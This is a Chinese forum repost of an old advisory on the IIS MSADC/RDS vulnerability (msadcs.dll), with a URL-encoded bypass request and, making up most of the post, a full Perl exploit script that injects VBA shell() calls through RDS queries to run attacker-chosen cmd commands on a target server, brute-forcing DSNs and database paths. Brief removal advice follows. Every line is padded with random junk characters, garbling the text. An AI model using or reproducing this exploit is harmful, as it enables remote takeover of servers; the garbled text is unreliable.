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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) -PNi^ K_  
QWrIa1.JC  
涉及程序: NH7`5mF$  
Microsoft NT server A /q2g7My  
ifXW  
描述:  !M  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Ye9Y^+-  
%'Zc2h&z  
详细: , N53Iic  
如果你没有时间读详细内容的话,就删除: &4,WG  
c:\Program Files\Common Files\System\Msadc\msadcs.dll |u@+`4o  
有关的安全问题就没有了。 :.*HQt9N  
\7pipde  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ~9Z h,p ;  
t#C,VwMe[  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 !Eq#[Gs  
关于利用ODBC远程漏洞的描述,请参看: <d5@CA+M  
o^3FL||P#r  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm >(X #<`  
= 96G8hlT  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 taweGc%~  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp F\a]n^ Y  
Pm4e8b  
这里不再论述。 3sH\1)Zz  
g>so R&*  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 9YB2 e84j  
(+* ][|T  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 9A~>`.y  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! QV7,G9  
cv}aS_`f  
<OTWT`G2  
#将下面这段保存为txt文件,然后: "perl -x 文件名" nqT>qS[Z  
RctU'T  
#!perl S}[l*7  
# 3y99O $EAc  
# MSADC/RDS 'usage' (aka exploit) script KU-'+k2s;p  
# 11@]d ]v ,  
# by rain.forest.puppy 2d*_Qq1  
# Fh K&@@_  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me z v>Oh#  
# beta test and find errors! >OV<_(S4  
nX|Q~x]  
use Socket; use Getopt::Std; H@GE)I>^@  
getopts("e:vd:h:XR", \%args); !xu9+{-  
tJNIr5o  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; zh\$t]d<I  
[)^mBVht  
if (!defined $args{h} && !defined $args{R}) { lwc5S `"  
print qq~ we3tx{j  
Usage: msadc.pl -h <host> { -d <delay> -X -v } gH[,Xx?BN!  
-h <host> = host you want to scan (ip or domain) Ojq]HM6f  
-d <seconds> = delay between calls, default 1 second \R(R9cry  
-X = dump Index Server path table, if available w/W7N   
-v = verbose \<~}o I  
-e = external dictionary file for step 5 )0^ >#k  
i31<].|kA*  
Or a -R will resume a command session Ve}[XqdS^p  
gxwo4.,  
~; exit;} >H>gH2qp  
q/NY72tj0  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; #E DEYEW7  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ~:4~2d|  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} =.*98  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); t6+YXjXK  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} B:< ]Hl$  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 5,1{Tv`  
U&UKUACn"  
if (!defined $args{R}){ $ret = &has_msadc; t V03+&jF  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} kZLMtj-   
Tk*w3c"$  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" T>A{ qu  
. "cmd /c "; dH\XO-Z7v  
$in=<STDIN>; chomp $in; >O#grDXb  
$command="cmd /c " . $in ; 24u x  
2?W7I/F  
if (defined $args{R}) {&load; exit;} 5rb-U7 /  
ZtK\HDdp  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Gh}yb-$N`&  
&try_btcustmr; 1svi8wh  
9xFO]Y"  
print "\nStep 2: Trying to make our own DSN..."; DVlJ*A  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; &fwS{n;U  
glE^t6)  
print "\nStep 3: Trying known DSNs..."; er2cQS7R  
&known_dsn; x&Cp> +i  
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print "\nStep 4: Trying known .mdbs..."; 2#vv$YD  
&known_mdb; `pL^}_>|GM  
Zp&@h-%YoD  
if (defined $args{e}){ Tde0~j}  
print "\nStep 5: Trying dictionary of DSN names..."; !lTda<;]  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ('C7=u&F  
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print "Sorry Charley...maybe next time?\n"; fKHE;A*>%  
exit; ,lt8O.h-l  
t 9^A(Vh"-  
############################################################################## FY'ty@|_s  
2 rN ,D(  
sub sendraw { # ripped and modded from whisker "B{ECM;  
sleep($delay); # it's a DoS on the server! At least on mine... AVl~{k|  
my ($pstr)=@_; Wh( |+rJ?Z  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Qd &" BEs  
die("Socket problems\n"); 9MY7a=5E~  
if(connect(S,pack "SnA4x8",2,80,$target)){ \K iwUz  
select(S); $|=1; \( )# e  
print $pstr; my @in=<S>; [8XLK4e  
select(STDOUT); close(S); HfB@vw^  
return @in; HN6}R|IH  
} else { die("Can't connect...\n"); }} 5GQLd  
>9H@|[C  
############################################################################## +9XQ[57  
nXA\|c0  
sub make_header { # make the HTTP request QAPu<rdJP  
my $msadc=<<EOT VsK>6S\T  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 80pid[F  
User-Agent: ACTIVEDATA C3'rtY.  
Host: $ip R@iUCT^$  
Content-Length: $clen +G F#?X0^  
Connection: Keep-Alive 'zZcn" +!  
71fk.16  
ADCClientVersion:01.06 m ee$"Y  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 -%CoWcGP  
(:pq77  
--!ADM!ROX!YOUR!WORLD! @+LfQY  
Content-Type: application/x-varg B@y(.  
Content-Length: $reqlen =1p8 i  
Rp9fO?ZjHt  
EOT &?,6~qm[  
; $msadc=~s/\n/\r\n/g; L<V3KS2y  
return $msadc;} +7V{ABfGl  
~utJB 'gr  
############################################################################## ziE*'p  
tV;`fV   
sub make_req { # make the RDS request Y&HK1>M_  
my ($switch, $p1, $p2)=@_; Bux [6O %  
my $req=""; my $t1, $t2, $query, $dsn; Hr<o!e{Y  
px;/8c-  
if ($switch==1){ # this is the btcustmr.mdb query 7nU6k%_%  
$query="Select * from Customers where City=" . make_shell(); R\|lt)h  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . SOZPZUUEJ  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} %dST6$Z  
*?ITns W<  
elsif ($switch==2){ # this is general make table query ao" %WX  
$query="create table AZZ (B int, C varchar(10))"; Sh6JF574T  
$dsn="$p1";} +pm[f["C.  
:}:3i9e*2  
elsif ($switch==3){ # this is general exploit table query mmXm\]r>4  
$query="select * from AZZ where C=" . make_shell(); +|iYg/2  
$dsn="$p1";} AK!hK>u`  
N6OMY P1  
elsif ($switch==4){ # attempt to hork file info from index server i_R e*  
$query="select path from scope()"; /u%h8!"R  
$dsn="Provider=MSIDXS;";} (-77[+2  
Ny- [9S-<  
elsif ($switch==5){ # bad query ;< jbLhHwD  
$query="select"; Yap?^&GV  
$dsn="$p1";} }@1q@xU  
<*!i$(gn  
$t1= make_unicode($query); U9y|>P\)T  
$t2= make_unicode($dsn); +  @9.$6N  
$req = "\x02\x00\x03\x00"; &,\=3 '  
$req.= "\x08\x00" . pack ("S1", length($t1)); j%u-dr  
$req.= "\x00\x00" . $t1 ; N,dT3we  
$req.= "\x08\x00" . pack ("S1", length($t2)); `:m!~  
$req.= "\x00\x00" . $t2 ; '_\;jFAM  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 6qWdd&1  
return $req;} \c v?^AI  
2&'|Eqk  
############################################################################## s=6}%%q6  
B(?Yw>Xd[  
sub make_shell { # this makes the shell() statement GQQ.OvEc  
return "'|shell(\"$command\")|'";} 9>zcBG8f  
O,bkQY$v  
############################################################################## .nu @ o40  
T<3BT  
sub make_unicode { # quick little function to convert to unicode VV4Gjc  
my ($in)=@_; my $out; %3q0(Xl  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } acP+3u?r  
return $out;} aprm0:Q^  
1OLqL  
############################################################################## ?bZovRx  
%J:SO_6  
sub rdo_success { # checks for RDO return success (this is kludge) bzDIhnw  
my (@in) = @_; my $base=content_start(@in); Pi,QHb`>  
if($in[$base]=~/multipart\/mixed/){ A1)wo^,  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} -oeL{9;  
return 0;} tM-^<V&  
VErv;GyV  
############################################################################## h&.wo !  
G+xt5n.%  
sub make_dsn { # this makes a DSN for us D4eTTfQ  
my @drives=("c","d","e","f"); .:p2Tbo  
print "\nMaking DSN: "; /+*#pDx/zW  
foreach $drive (@drives) { Z=B_Ty  
print "$drive: "; FGO[ |]7IN  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . -K,-h[ o  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ]<(]u#g_d  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Y2B &go  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; _lzyMEdr  
return 0 if $2 eq "404"; # not found/doesn't exist \^(0B8|w  
if($2 eq "200") { NNhL*C[_7  
foreach $line (@results) { Xs&TJ8a  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} uw\2qU3gk  
} return 0;} V.ht, ~l  
@`tXKP$so  
############################################################################## >Vy>O &r  
I? THa<  
sub verify_exists { yR{x}DbG  
my ($page)=@_; b" xmqWa  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 4'$g(+z  
return $results[0];} l`kWz5[~  
5aad$f  
############################################################################## >hBxY]< \  
o"wXIHUmV  
sub try_btcustmr { M/x>51<  
my @drives=("c","d","e","f"); ikWtC]y  
my @dirs=("winnt","winnt35","winnt351","win","windows"); DeR='7n  
PH"hn]  
foreach $dir (@dirs) { !D!~ ^\  
print "$dir -> "; # fun status so you can see progress hA\K</h.  
foreach $drive (@drives) { [."[pY  
print "$drive: "; # ditto x21dku<6K[  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; p!]6ll^  
$reqlenlen=length( "$reqlen" ); ~~/xR s  
$clen= 206 + $reqlenlen + $reqlen; 9/+Nj/  
:o:e,WKxb  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); $^u}a   
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} go+Q~NV   
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} UobyK3.%  
2G$SpfeIu  
############################################################################## pg]BsJN  
,-x!$VqS  
sub odbc_error { Z/rP"|EuQ  
my (@in)=@_; my $base; 1B),A~Ip  
my $base = content_start(@in); Ii7QJ:^  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this y_xnai  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; aP'"G^F   
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 0]D0{6x8  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 8|E'>+ D_-  
return $in[$base+4].$in[$base+5].$in[$base+6];} JS}{%(B  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ih?^t(i  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . *'Z B*>  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} >~`C-K#  
^(viM?*  
############################################################################## M#|dIbns H  
_gKe%J&  
sub verbose { PtqJ*Z  
my ($in)=@_; @EE."T9  
return if !$verbose; Sa19q.~%  
print STDOUT "\n$in\n";} olLfko4$*V  
As+t##gN  
############################################################################## -v6M<  
NrP0Ep%V  
sub save { p ?wI9GY  
my ($p1, $p2, $p3, $p4)=@_; cb5,P~/q  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 2Z20E$Cb  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 42>Ge>#F  
close OUT;} [{C )LDN  
s=?g\oR  
############################################################################## 8kP3+  
NEa>\K<\  
sub load { r>bJ%M}  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 2lL,zFAq  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); '+j} >Q  
@p=<IN>; close(IN); ~ %B<  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); v]B L[/4  
$target= inet_aton($ip) || die("inet_aton problems"); ; S xFp  
print "Resuming to $ip ..."; VLBE'3Qg 1  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 5k|9gICyd*  
if($p[1]==1) { i-yy/y-N  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; t>8XTqqi  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Scv#zuv_  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); k+1|I)z  
if (rdo_success(@results)){print "Success!\n";} "`6n6r42  
else { print "failed\n"; verbose(odbc_error(@results));}} (H+'X}1  
elsif ($p[1]==3){ \.mI  
if(run_query("$p[3]")){ <AJ97MLcc  
print "Success!\n";} else { print "failed\n"; }} tGB@$UmfU  
elsif ($p[1]==4){ U-n;xX0=  
if(run_query($drvst . "$p[3]")){ AyMd:5;  
print "Success!\n"; } else { print "failed\n"; }} ccd8O{G.M  
exit;} 1:Si,d,wh  
/c):}PJ^#7  
############################################################################## 4 Jx"A\5*G  
PqM1a oyX  
sub create_table {  *.)tG  
my ($in)=@_; 9W5onn  
$reqlen=length( make_req(2,$in,"") ) - 28; wcDRH)AW.  
$reqlenlen=length( "$reqlen" ); Vb BPB5 $q  
$clen= 206 + $reqlenlen + $reqlen; u{["50~  
my @results=sendraw(make_header() . make_req(2,$in,"")); B c2p(z4  
return 1 if rdo_success(@results); >vo=]c w  
my $temp= odbc_error(@results); verbose($temp); l7De6A"  
return 1 if $temp=~/Table 'AZZ' already exists/; Fd*8N8Pi  
return 0;} :x_'i_w  
TIvRhbu  
############################################################################## eW|^tH  
%4HRW;IU  
sub known_dsn { JI vo_7{  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go H4]Ul eU  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", NWxUn.Gy9  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", FZ8b7nJ)4m  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); | >z3E z  
]~Y<o  
foreach $dSn (@dsns) { T6ENtp  
print "."; k%^lF?_0I  
next if (!is_access("DSN=$dSn")); 3j3N!T9  
if(create_table("DSN=$dSn")){ Fv<`AU  
print "$dSn successful\n"; vzmc}y G  
if(run_query("DSN=$dSn")){ x`6<m!d`  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ]vuwkn+)  
print "Something's borked. Use verbose next time\n";}}} print "\n";} r_;9' #&'  
/rSH"$  
############################################################################## Ks}Xgc\  
,-z9 #t  
sub is_access { :_QCfH  
my ($in)=@_; ^wS5>lf7p  
$reqlen=length( make_req(5,$in,"") ) - 28; LY+|[qka  
$reqlenlen=length( "$reqlen" ); |*`Z*6n  
$clen= 206 + $reqlenlen + $reqlen; VE8;sGaJ  
my @results=sendraw(make_header() . make_req(5,$in,"")); 0@AAulRl  
my $temp= odbc_error(@results); *-xU2  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); fw[y+Bi& ?  
return 0;} Qyy.IPTP  
=Fdg/X1  
############################################################################## p uT'y  
8mQmi`  
sub run_query { 6]-SK$  
my ($in)=@_; 6d+p7x  
$reqlen=length( make_req(3,$in,"") ) - 28; Afk$?wkL  
$reqlenlen=length( "$reqlen" ); B-l'vVx  
$clen= 206 + $reqlenlen + $reqlen; Uk\Id ~xLV  
my @results=sendraw(make_header() . make_req(3,$in,"")); H<1WbM:w  
return 1 if rdo_success(@results); B2ec@]uD`  
my $temp= odbc_error(@results); verbose($temp); 36am-G  
return 0;} MeUaTJFEB  
@}kv-*  
############################################################################## xC tmXo  
*_?dVhxf  
sub known_mdb { + T8B:  
my @drives=("c","d","e","f","g"); uw2hMt (N  
my @dirs=("winnt","winnt35","winnt351","win","windows"); D.mHIsX6\  
my $dir, $drive, $mdb; /JT#^Y  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; >a}f{\Q  
@/ k@WhFZ  
# this is sparse, because I don't know of many 5ms""LD/  
my @sysmdbs=( "\\catroot\\icatalog.mdb",  @Pt="*g  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", GH[wv<  
"\\system32\\certmdb.mdb", ~}<DG1!  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% hqRw^2F  
!A%<#Gjt  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", rylzcN9RM$  
"\\cfusion\\cfapps\\forums\\forums_.mdb", M}!2H*  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", K#"O a h  
"\\cfusion\\cfapps\\security\\realm_.mdb", HF(KN{0.B  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 3d|9t9v  
"\\cfusion\\database\\cfexamples.mdb", 2,*M|+W~  
"\\cfusion\\database\\cfsnippets.mdb", :^(>YAyHj^  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", `hb%+-lj+  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", D::rGB?.b  
"\\cfusion\\brighttiger\\database\\cleam.mdb", xNbPsoK  
"\\cfusion\\database\\smpolicy.mdb", yiO. z  
"\\cfusion\\database\cypress.mdb", F8apH{&t  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 50={%R  
"\\website\\cgi-win\\dbsample.mdb", |DsnNk0c  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", xt*u4%  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 5L!y-3  
); #these are just tToTxf~  
foreach $drive (@drives) { 7nuU^wc  
foreach $dir (@dirs){ `]W| 8M  
foreach $mdb (@sysmdbs) { |6< p(i7  
print "."; #f+$Ddg*  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ^#sU*trr  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Dtj&W<NXo  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ G.UI|r /Kz  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; mrw=T.  
} else { print "Something's borked. Use verbose next time\n"; }}}}} *M"}z  
Y0X-Zqk'  
foreach $drive (@drives) { z[;z>8|c  
foreach $mdb (@mdbs) { k5T,990  
print "."; /3{b%0Aa  
if(create_table($drv . $drive . $dir . $mdb)){ Bi{$@n&?f  
print "\n" . $drive . $dir . $mdb . " successful\n"; (P$H<FtH  
if(run_query($drv . $drive . $dir . $mdb)){ hodgDrmO/  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; |vw"[7_aS  
} else { print "Something's borked. Use verbose next time\n"; }}}} /gG"v5]  
} )-. _FOZ6  
O<V4HUW  
############################################################################## ^ (FdXGs[  
v;ZA 4c  
sub hork_idx { wH@Ns~[MA  
print "\nAttempting to dump Index Server tables...\n"; :eCU/BC4  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; y~\oTJb  
$reqlen=length( make_req(4,"","") ) - 28; Nal9M[]c  
$reqlenlen=length( "$reqlen" ); jB(|";G  
$clen= 206 + $reqlenlen + $reqlen; GmP@;[H"  
my @results=sendraw2(make_header() . make_req(4,"","")); 1Yn +<I  
if (rdo_success(@results)){ S.f5v8  
my $max=@results; my $c; my %d; Pjc Tx +  
for($c=19; $c<$max; $c++){ .qZI$ l .  
$results[$c]=~s/\x00//g; f=9|b  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; j{Q9{}<e  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; r% +V8o  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; pS7w' H  
$d{"$1$2"}="";} v'3J.?N  
foreach $c (keys %d){ print "$c\n"; } .yEBOMNZ  
} else {print "Index server doesn't seem to be installed.\n"; }} 7yh /BZ1  
@qYp>|AF  
############################################################################## [;J>bi;3N  
@ rc{SB  
sub dsn_dict { %B.yW`,X  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); %xyou:~0zs  
while(<IN>){ K9up:.{QQ  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Qr{E[6  
next if (!is_access("DSN=$dSn")); @nCd  
if(create_table("DSN=$dSn")){ 5f 5f0|ok  
print "$dSn successful\n"; :w^Ed%>y7  
if(run_query("DSN=$dSn")){ #e$5d>j(  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { *vwbgJG! *  
print "Something's borked. Use verbose next time\n";}}} 73\JwOn~  
print "\n"; close(IN);} &eX!#nQ_.  
|Ur"& Z{  
############################################################################## {fjdr  
BNs@n"k  
sub sendraw2 { # ripped and modded from whisker V6,H}k   
sleep($delay); # it's a DoS on the server! At least on mine... fd.^h*'mU  
my ($pstr)=@_; ]%u@TK7  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ,]d /Q<  
die("Socket problems\n"); @W"KVPd  
if(connect(S,pack "SnA4x8",2,80,$target)){ z+n,uHs  
print "Connected. Getting data"; Jh!I:;/  
open(OUT,">raw.out"); my @in; )`(p9@,V  
select(S); $|=1; print $pstr; #$8% w  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ", KCCis  
close(OUT); select(STDOUT); close(S); return @in; yvO{:B8%  
} else { die("Can't connect...\n"); }} |M, iM]  
QvKh,rBFVG  
############################################################################## 7V!*NBsl  
VL` z[|e @  
sub content_start { # this will take in the server headers ia+oX~W!VR  
my (@in)=@_; my $c; .E8_Oz  
for ($c=1;$c<500;$c++) { Su/6Q$0 t  
if($in[$c] =~/^\x0d\x0a/){ SSWP~ t  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } :x4|X8>  
else { return $c+1; }}} wMg0>  
return -1;} # it should never get here actually !`Hd-&}bYz  
fy@<&U5rg  
############################################################################## %2{ %Obp'  
oUQ,61H  
sub funky { ^Xq 6:  
my (@in)=@_; my $error=odbc_error(@in); %UERc{~o*,  
if($error=~/ADO could not find the specified provider/){ e9U9Uu[  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ?Yth0O6?sb  
exit;} Ku} Z  
if($error=~/A Handler is required/){ (Hb:?(  
print "\nServer has custom handler filters (they most likely are patched)\n"; 4i(JZN?  
exit;} UKT%13CO4U  
if($error=~/specified Handler has denied Access/){ aGtf z)  
print "\nServer has custom handler filters (they most likely are patched)\n"; ~lsl@  
exit;}} g'n7T|h ~  
9\mLW"  
############################################################################## &&8IU;J  
ic#`N0s?  
sub has_msadc { VKG&Y_7N  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ijK"^4i  
my $base=content_start(@results); < (fRn`)PT  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); R?"q]af~  
return 0;} SVh 7zh  
\kMefU  
######################## %,@e^3B  
zkuU5O  
eo?;`7  
解决方案: o.!~8mD  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 'm FqE n  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 V)~.~2$  
( u\._Gwsx  
拿出来充数 哈哈
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